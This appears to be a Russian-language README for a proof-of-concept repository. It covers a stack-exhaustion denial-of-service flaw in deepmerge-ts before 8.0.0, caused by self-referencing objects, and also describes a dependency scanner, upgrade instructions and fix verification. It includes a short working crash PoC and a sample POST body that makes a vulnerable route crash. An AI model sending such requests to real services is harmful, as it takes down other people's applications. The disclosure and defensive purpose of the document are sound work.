
Воспроизводит отказ в обслуживании из-за исчерпания стека в deepmerge-ts до версии 8.0.0, документирует эксплуатацию уязвимости и включает сканер для поиска уязвимых диапазонов зависимостей.
Я воспроизвёл ошибку переполнения стека в версиях deepmerge-ts до 8.0.0.
Интересно то, что для краха не нужен огромный вложенный объект. Причина — в идентичности объектов. Если оба объединяемых значения ссылаются сами на себя через одно и то же свойство, процедура объединения продолжает посещать одну и ту же пару, пока Node.js не исчерпает пространство стека.
Advisory: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 Severity: High Impact: Availability
Большинство тестов слияния используют обычные JSON-подобные данные:
{
user: {
name: "alice"
}
}
Такие данные ацикличны. Объекты JavaScript также могут содержать ссылки на самих себя или на другой объект в том же графе. Эти случаи легко пропустить, если тестовый набор использует только JSON-фикстуры.
Минимальный падающий граф — два отдельных объекта с одинаковой self-ссылкой:
const left = {};
left.self = left;
const right = {};
right.self = right;
Объединение записей обходит перечисляемые ключи, собирает значения для каждого ключа и снова вызывает процедуру объединения для этих значений. В затрагиваемых версиях нет ни проверки циклов, ни отслеживания ранее виденной пары объектов.
Ключ self возвращает исполнение в то же самое состояние:
deepmerge(left, right)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> merge(left.self, right.self)
-> RangeError: Maximum call stack size exceeded
То же самое поведение доступно через deepmergeInto, deepmergeCustom и deepmergeIntoCustom, когда они получают такой же граф.
Пакет зафиксирован на затрагиваемой версии 7.1.6 в package.json.
npm install
npm run poc
Полный тест находится в poc.mjs. Он локально запускает оба публичных API и перехватывает ожидаемый RangeError, чтобы результат было легко прочитать.
Важная часть PoC:
import { deepmerge } from "deepmerge-ts";
function recursiveRecord() {
const record = {};
record.self = record;
return record;
}
deepmerge(recursiveRecord(), recursiveRecord());
Ожидаемый вывод:
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded
PoC возвращает успех, когда затрагиваемое поведение наблюдается. Если пакет обновлён и оба вызова завершаются, скрипт печатает чистый результат и завершается с кодом 1, потому что проблема не была воспроизведена.
Не существует магической циклической JSON-нагрузки. Обычный JSON-парсер создаёт ацикличный граф, поэтому это не срабатывает от простой отправки очень глубокого JSON-тела в:
deepmerge(defaults, req.body);
Приложению нужно создать или сохранить цикл до вызова функции слияния. Это может произойти в коде гидратации графа, в десериализаторе, сохраняющем ссылки, при переиспользовании кэша или объектов сессии, либо в пользовательской логике, связывающей записи между собой.
Вот небольшой пример уязвимой интеграции. Функция hydrate превращает управляемый пользователем флаг в self-ссылку:
import { deepmerge } from "deepmerge-ts";
function hydrate(input) {
const object = { value: input.value };
if (input.self === true) object.self = object;
return object;
}
function mergeRequest(body) {
const left = hydrate(body.left);
const right = hydrate(body.right);
return deepmerge(left, right);
}
Если HTTP-маршрут вызывает mergeRequest, атакующий может отправить:
POST /merge
Content-Type: application/json
{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}
Теперь обе стороны содержат ссылку self. Когда маршрут вызывает deepmerge(left, right), библиотека переходит по left.self и right.self, снова получает ту же пару и рекурсивно выполняется, пока V8 не выбросит исключение.
Приложению не обязательно использовать именно эту функцию hydrate. Важны следующие условия:
Если маршрут публичный и исключение не перехвачено, один запрос может остановить worker Node.js. Если супервизор процессов автоматически перезапускает его, повторные запросы могут держать сервис в цикле перезапуска. Если требуется аутентификация, атакующему всё равно нужен доступ к этому маршруту.
Это проблема отказа в обслуживании. Ошибка не даёт выполнения кода, доступа к файлам или возможности прочитать входные данные слияния из другого запроса.
Это различие важно при оценке реального приложения. Следующее тело запроса само по себе не является циклом:
{
"self": true
}
Оно становится значимым, только если код приложения интерпретирует self: true как ссылку на корневой объект, или если другой парсер восстанавливает ссылки на объекты. Пакет всё равно должен безопасно обрабатывать результирующий граф, но удалённая эксплуатируемость зависит от кода вокруг пакета.
Прямое воздействие — это нарушение доступности из-за синхронного исчерпания стека.
В зависимости от окружающего приложения результат может быть таким:
RangeErrorСама по себе эта проблема не влияет на конфиденциальность или целостность. Серьёзность возрастает, когда маршрут слияния не требует аутентификации, доступен из публичного интернета или автоматически повторяется другим сервисом.
Я добавил scanner.mjs для поиска затрагиваемых ссылок на зависимость до запуска crash-PoC. Он проверяет:
package.jsonpackage-lock.jsonnpm-shrinkwrap.jsonpnpm-lock.yamlЗапустите его против каталога проекта:
node scanner.mjs /path/to/project
Для CI или других инструментов используйте JSON-вывод:
node scanner.mjs /path/to/project --json
Пример результата для этого репозитория:
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6
Сканер завершается с кодом 1, когда находит затрагиваемую версию или диапазон. Git-URL и другие не-semver источники помечаются как REVIEW, а не молча считаются безопасными.
Прямое исправление — обновить deepmerge-ts >= 8.0.0 и обновить lockfile.
npm install deepmerge-ts@^8.0.0
Приложению также следует решить, как обрабатывать рекурсивный ввод. Разумные варианты:
Перехват ошибки полезен для стабильности процесса, но он не устраняет лежащий в основе отказ в обслуживании, если атакующий может повторять запрос. Обновление зависимости и обработка рекурсивного ввода — важные исправления.
Замените зависимость на 8.0.1, переустановите и запустите тот же PoC:
npm install [email protected]
npm run poc
На исправленном релизе оба вызова завершаются, и скрипт печатает:
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.
PoC и сканер в этом репозитории выпущены под MIT License.